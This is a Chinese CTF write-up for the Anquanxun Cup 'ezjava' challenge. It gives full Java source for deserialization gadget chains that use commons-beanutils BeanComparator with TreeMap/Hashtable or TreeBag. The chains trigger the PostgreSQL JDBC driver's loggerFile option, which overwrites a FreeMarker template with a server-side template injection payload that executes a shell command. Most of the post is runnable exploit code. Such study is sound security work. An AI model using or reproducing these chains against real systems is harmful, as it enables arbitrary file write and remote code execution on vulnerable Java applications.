安洵杯ezjava复现

Posted by Azeril on December 27, 2023

考点

CB的 compare调用任意getter方法
hashmap活着treebag拼接CB#compare方法
postgrasql任意写入文件
postgresql 42.3.1
commons-beanutils 1.9.3
commons-collections-3.2.2.jar
freemarker-2.3.32.jar

目标是调用调用这个getConnection方法即可, 到那时jackson、fastjson都没了,不能调用getter方法

image-20231223151627688

image-20231223152952142

image-20231224180445929

当时是找到了这个类,调用

web3提示
1: 多看看org.postgresql.ds.commo.BaseDataSource这个类呢

当时的想法就是调用这个类,但是这个this.getUrl()不可控

image-20231224180607146

因为有CC和CB的依赖,CB的compare可以任意调用某个类的getter方法

本来以为就是这个思路,但是后面和师傅们交流的时候,被指出url不可控也就不能触发postgrasql远程执行xml那个了,当时也就到这了

import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.postgresql.ds.common.BaseDataSource;

import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.InvocationTargetException;
import java.sql.DriverManager;

public class payloda {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        String url = new BaseDataSource() {
            @Override
            public String getDescription() {
                return null;
            }
        }.getUrl();
        System.out.println(url);
        BaseDataSource baseDataSource = new BaseDataSource() {
            @Override
            public String getDescription() {
                return null;
            }
        };
        // org.postgresql.ds.commo.BaseDataSource
        PropertyUtils aa=new PropertyUtils();
        aa.getProperty(baseDataSource,"connection");  //这里是可以调用到的


    }
}

红色框中的是BeanComparator#compare

image-20231224181610062

看了B神的讲解分析,但是为啥我tabby没有找到呢?语法问题嘛?

这里过滤了我们常见的链子然后题目给的jdk环境是8u312是高版本的jdk那么jndi和rmi方面的就不要想了所以思路就是给cb断链接上compare方法还是很多的熟悉一点的应该就该想起TreeMap/Bag套餐了
TreeBag的readObject逻辑如下

发现自己当初想这道题的本质都错了,首先题目是不出网的,而我想的远程执行xml那个漏洞,需要题目能访问到那个文件

所以这就错了,这道题用的是另外一个漏洞 logger任意文件写入

先写一个专门的文章复现CVE(见PostGrasql分析)

postgresql 42.3.1 版本是低版本,任意命令执行和任意文件写入都是可以的

image-20231226183951205

image-20231226184015895

这里的geturl()就是对我们赋值的一个拼接操作,。。。当初想错了,所以这道题是因为不出网才用的这个logger覆盖,如果出网就不是了

image-20231226210620483

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.*;

public class aaa {
    public static String string;
    public static void main(String[] args) throws Exception {
        String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
        //设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");
        pgSimpleDataSource.setServerNames(new String[]{shellContent});

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        base64serial(table);
        deserTester();

    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
    public static void setFieldValue(Object obj,String name,Object o2) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(name);
        declaredField.setAccessible(true);
        declaredField.set(obj,o2);
    }
    public static String base64serial(Object o) throws IOException, NoSuchFieldException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();
        string = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(string);
        return string;
    }
    public static void deserTester() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

image-20231226210909892

image-20231226210930773

发现覆盖成功直接访问主页,渲染一下即可,JYCXK是我设置的flag

image-20231226211000299

另一种调用CB#compare的方法

TreeMap/Bag套餐了。 image-20231226211444810

image-20231226211450587

image-20231226211455975

image-20231226211503528

public class Demo {
    @Test
    public void test() throws Exception {
        PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
        String loggerLevel = "debug";
        String loggerFile = "/app/templates/index.ftl";
        String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
        System.out.println(shellContent);
        String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
        pgConnectionPoolDataSource.setURL(jdbcUrl);
        pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
        BeanComparator comparator = new BeanComparator();
        SerializeUtils.setFieldValue(comparator, "property", "connection");
        TreeBag treeBag = new TreeBag(comparator);
        TreeMap<Object,Object> m = new TreeMap<>();
        SerializeUtils.setFieldValue(m, "size", 2);
        SerializeUtils.setFieldValue(m, "modCount", 2);
        Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
        Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
        Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
        Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
        SerializeUtils.setFieldValue(node, "right", right);
        SerializeUtils.setFieldValue(m, "root", node);
        SerializeUtils.setFieldValue(m, "comparator", comparator);
        SerializeUtils.setFieldValue(treeBag,"map",m);
        System.out.println(SerializeUtils.base64serial(treeBag));
        SerializeUtils.deserTester(treeBag);
    }
}

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。